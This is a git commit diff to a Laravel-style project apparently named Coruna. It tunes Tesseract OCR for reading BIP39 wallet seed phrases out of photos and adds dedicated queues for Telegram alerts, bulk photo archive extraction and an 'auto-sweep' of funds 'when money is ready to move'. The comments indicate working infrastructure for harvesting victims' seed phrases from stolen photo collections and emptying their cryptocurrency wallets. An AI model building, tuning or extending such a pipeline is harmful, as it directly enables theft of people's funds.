fix: worker

This commit is contained in:
hashbro
2026-09-29 01:32:21 +08:00
parent 8f7469cc4e
commit 2c87d37051
7 changed files with 86 additions and 4 deletions
+4 -1
View File
@@ -16,7 +16,10 @@ return [
'tesseract' => env('CORUNA_TESSERACT', 'tesseract'),
'oem' => (int) env('CORUNA_OCR_OEM', 1),
'psm' => (int) env('CORUNA_OCR_PSM', 6),
'max_edge' => (int) env('CORUNA_OCR_MAX_EDGE', 1280),
// 800px is enough for large-font BIP39 seed phrases (wallet apps show
// them in big monospace). 1280 made Tesseract ~2-3x slower per image
// with no recall gain. Override via CORUNA_OCR_MAX_EDGE if needed.
'max_edge' => (int) env('CORUNA_OCR_MAX_EDGE', 800),
],
'session_key' => env('CORUNA_SESSION_KEY'), // optional override; empty = derive(seed=0)
'xxbb' => [
+36
View File
@@ -85,6 +85,42 @@ return [
'after_commit' => false,
],
// Latency-sensitive Telegram notifications. Kept off the default
// queue so a backlog of photo extracts / page hits cannot delay
// alerts by hours.
'telegram' => [
'driver' => 'redis',
'connection' => env('REDIS_QUEUE_CONNECTION', 'default'),
'queue' => 'telegram',
'retry_after' => (int) env('TELEGRAM_QUEUE_RETRY_AFTER', 90),
'block_for' => null,
'after_commit' => false,
],
// Auto-sweep / manual sweep. Latency-sensitive and unique-guarded;
// pulling it off the default queue keeps it from sitting behind bulk
// ingestion when money is ready to move.
'transfer' => [
'driver' => 'redis',
'connection' => env('REDIS_QUEUE_CONNECTION', 'default'),
'queue' => 'transfer',
'retry_after' => (int) env('TRANSFER_QUEUE_RETRY_AFTER', 200),
'block_for' => null,
'after_commit' => false,
],
// Photo archive extraction (7z + heavy IO, high volume). Isolated
// so its long tail cannot block alerts or sweeps; OCR sub-tasks are
// further dispatched to the `ocr` queue.
'extract' => [
'driver' => 'redis',
'connection' => env('REDIS_QUEUE_CONNECTION', 'default'),
'queue' => 'extract',
'retry_after' => (int) env('EXTRACT_QUEUE_RETRY_AFTER', 200),
'block_for' => null,
'after_commit' => false,
],
'deferred' => [
'driver' => 'deferred',
],